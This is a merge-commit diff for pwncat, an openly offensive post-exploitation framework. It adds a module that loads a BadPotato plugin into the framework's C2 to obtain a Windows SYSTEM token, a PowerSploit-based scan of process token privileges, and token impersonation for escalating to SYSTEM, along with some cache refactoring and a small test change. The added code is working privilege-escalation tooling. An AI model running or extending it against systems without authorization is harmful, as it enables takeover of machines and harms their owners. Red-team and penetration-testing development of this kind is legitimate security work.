Merge pull request #144 from calebstewart/issue-106-token-impersonation-ability

[FEATURE #106] Token Impersonation Ability and BadPotato PoC

CHANGELOG.md

@@ -14,6 +14,7 @@ and simply didn't have the time to go back and retroactively create one.
 - Added query-string arguments to connection strings for both the entrypoint
   and the `connect` command.
 - Added Enumeration States to allow session-bound enumerations
+- Added Windows privilege escalation via BadPotato plugin ([#106](https://github.com/calebstewart/pwncat/issues/106))
 
 ## [0.4.3] - 2021-06-18
 Patch fix release. Major fixes are the correction of file IO for LinuxWriters and

pwncat/facts/windows.py

@@ -1,10 +1,92 @@
 """
 Windows-specific facts which are used in multiple places throughout the framework.
 """
-from typing import List, Optional
+from enum import IntFlag
+from typing import List, Callable, Optional
 from datetime import datetime
 
-from pwncat.facts import User, Group
+import pwncat
+from pwncat.facts import Fact, User, Group, ExecuteAbility
+from pwncat.modules import ModuleFailed
+from pwncat.platform import PlatformError
+
+
+class LuidAttribute(IntFlag):
+    DISABLED = 0x00000000
+    SE_PRIVILEGE_ENABLED_BY_DEFAULT = 0x00000001
+    SE_PRIVILEGE_ENABLED = 0x00000002
+    SE_PRIVILEGE_REMOVED = 0x00000004
+    SE_PRIVILEGE_USED_FOR_ACCESS = 0x80000000
+
+
+class ProcessTokenPrivilege(Fact):
+    """Describes a specific privilege"""
+
+    def __init__(self, source: str, name: str, attributes: int, handle: int, pid: int):
+        super().__init__(source=source, types=["token.privilege"])
+
+        self.name = name
+        self.attributes = LuidAttribute(attributes)
+        self.handle = handle
+        self.pid = pid
+
+    def title(self, session: "pwncat.manager.Session"):
+        attributes = str(self.attributes).removeprefix("LuidAttribute.").split("|")
+
+        for i in range(len(attributes)):
+            if attributes[i] == "DISABLED":
+                attributes[i] = "[red]DISABLED[/red]"
+            else:
+                attributes[i] = f"[blue]{attributes[i]}[/blue]"
+
+        return f"[cyan]{self.name}[/cyan] => {'|'.join(attributes)}"
+
+
+class UserToken(ExecuteAbility):
+    def __init__(self, source: str, uid: str, token: int):
+        super().__init__(source=source, source_uid=None, uid=uid)
+        self.types.append("token")
+
+        self.token = token
+
+    def can_impersonate(self, session: "pwncat.manager.Session"):
+        """Test if the current session can impersonate tokens"""
+
+        for priv in session.run("enumerate", types=["token.privilege"]):
+            if (
+                priv.name == "SeImpersonatePrivilege"
+                and LuidAttribute.SE_PRIVILEGE_ENABLED in priv.attributes
+            ):
+                return True
+
+        return False
+
+    def title(self, session: "pwncat.manager.Session"):
+
+        user = session.find_user(uid=self.uid)
+        if user is None:
+            user_name = f"SID({repr(self.uid)})"
+        else:
+            user_name = user.name
+
+        if self.can_impersonate(session):
+            return f"[red]Impersonatable[/red] [blue]{user_name}[/blue] Token: {self.token}"
+        return f"[blue]{user_name}[/blue] Token: {self.token}"
+
+    def shell(
+        self, session: "pwncat.manager.Session"
+    ) -> Callable[["pwncat.manager.Session"], None]:
+        """Execute a new shell as the specified user. In this case, just impersonate the user."""
+
+        if not self.can_impersonate(session):
+            raise ModuleFailed("impersonate privilege not enabled")
+
+        try:
+            session.platform.impersonate(self.token)
+        except PlatformError as exc:
+            raise ModuleFailed(f"failed to impersonate token: {exc}")
+
+        return lambda session: session.platform.revert_to_self()
 
 
 class WindowsUser(User):

pwncat/modules/agnostic/enumerate/escalate/replace.py

@@ -25,7 +25,7 @@ class Module(EnumerateModule):
     user in the running session with the new user."""
 
     PLATFORM = None
-    SCHEDULE = Schedule.PER_USER
+    SCHEDULE = Schedule.ALWAYS
     PROVIDES = ["escalate.replace"]
 
     def enumerate(self, session: "pwncat.manager.Session"):

pwncat/modules/enumerate.py

@@ -161,9 +161,15 @@ class EnumerateModule(BaseModule):
                 fact for fact in session.target.facts if fact.source != self.name
             ]
 
+            if self.name in session.target.enumerate_state:
+                del session.target.enumerate_state[self.name]
+
         if self.SCOPE is Scope.SESSION:
             session.facts = [fact for fact in session.facts if fact.source != self.name]
 
+            if self.name in session.enumerate_state:
+                del session.enumerate_state[self.name]
+
         return []
 
     def _mark_complete(self, session: "pwncat.manager.Session"):
@@ -225,9 +231,6 @@ class EnumerateModule(BaseModule):
         :type cache: bool
         """
 
-        # Retrieve the DB target object
-        target = session.target
-
         if clear:
             self._clear_cache(session)
             return
@@ -261,11 +264,7 @@ class EnumerateModule(BaseModule):
                 continue
 
             # Only add the item if it doesn't exist
-            for f in target.facts:
-                if f == item:
-                    break
-            else:
-                session.register_fact(item, self.SCOPE, commit=False)
+            session.register_fact(item, self.SCOPE, commit=False)
 
             # Don't yield the actual fact if we didn't ask for this type
             if not types or any(

pwncat/modules/windows/enumerate/token/potato.py

@@ -0,0 +1,40 @@
+#!/usr/bin/env python3
+
+import pwncat
+from pwncat.modules import Status, ModuleFailed
+from pwncat.facts.windows import UserToken
+from pwncat.platform.windows import Windows, ProtocolError
+from pwncat.modules.enumerate import Scope, Schedule, EnumerateModule
+
+
+class Module(EnumerateModule):
+    """Execute the BadPotato expoit to leak a SYSTEM user token"""
+
+    PLATFORM = [Windows]
+    SCHEDULE = Schedule.PER_USER
+    SCOPE = Scope.SESSION
+    PROVIDES = ["token", "ability.execute"]
+
+    def enumerate(self, session: "pwncat.manager.Session"):
+
+        # Non-admin users will crash the C2 if we try bad potato
+        if not session.platform.is_admin():
+            return
+
+        try:
+            # Load the badpotato plugin
+            yield Status("loading badpotato c2 plugin...")
+            badpotato = session.platform.dotnet_load("BadPotato.dll")
+
+            # Grab a system token
+            yield Status("triggering badpotato exploit...")
+            token = badpotato.get_system_token()
+
+            # Yield the new SYSTEM token
+            yield UserToken(
+                source=self.name,
+                uid=session.find_user(name="NT AUTHORITY\\SYSTEM").id,
+                token=token,
+            )
+        except ProtocolError as exc:
+            raise ModuleFailed(f"failed to load badpotato: {exc}")

pwncat/modules/windows/enumerate/token/privs.py

@@ -0,0 +1,35 @@
+#!/usr/bin/env python3
+import pwncat
+from pwncat.modules import ModuleFailed
+from pwncat.facts.windows import ProcessTokenPrivilege
+from pwncat.platform.windows import Windows, PowershellError
+from pwncat.modules.enumerate import Scope, Schedule, EnumerateModule
+
+
+class Module(EnumerateModule):
+    """Locate process privileges"""
+
+    PLATFORM = [Windows]
+    SCHEDULE = Schedule.PER_USER
+    SCOPE = Scope.SESSION
+    PROVIDES = ["token.privilege"]
+
+    def enumerate(self, session: "pwncat.manager.Session"):
+        """Check for privileges"""
+
+        # Load PowerUp.ps1
+        session.run("powersploit", group="privesc")
+
+        try:
+            privs = session.platform.powershell("Get-ProcessTokenPrivilege")[0]
+        except (IndexError, PowershellError) as exc:
+            raise ModuleFailed(f"failed to find process token privs: {exc}")
+
+        for priv in privs:
+            yield ProcessTokenPrivilege(
+                source=self.name,
+                name=priv["Privilege"],
+                attributes=priv["Attributes"],
+                handle=priv["TokenHandle"],
+                pid=priv["ProcessId"],
+            )

tests/test_fileio.py

@@ -17,10 +17,7 @@ def do_file_test(session, content):
 
     # In some cases, the act of reading/writing causes a shell to hang
     # so double check that.
-    result = session.platform.run(
-        ["echo", "hello world"], capture_output=True, text=True
-    )
-    assert result.stdout == "hello world\n"
+    assert len(list(session.platform.Path("/").iterdir())) > 0
 
 
 def test_small_text(session):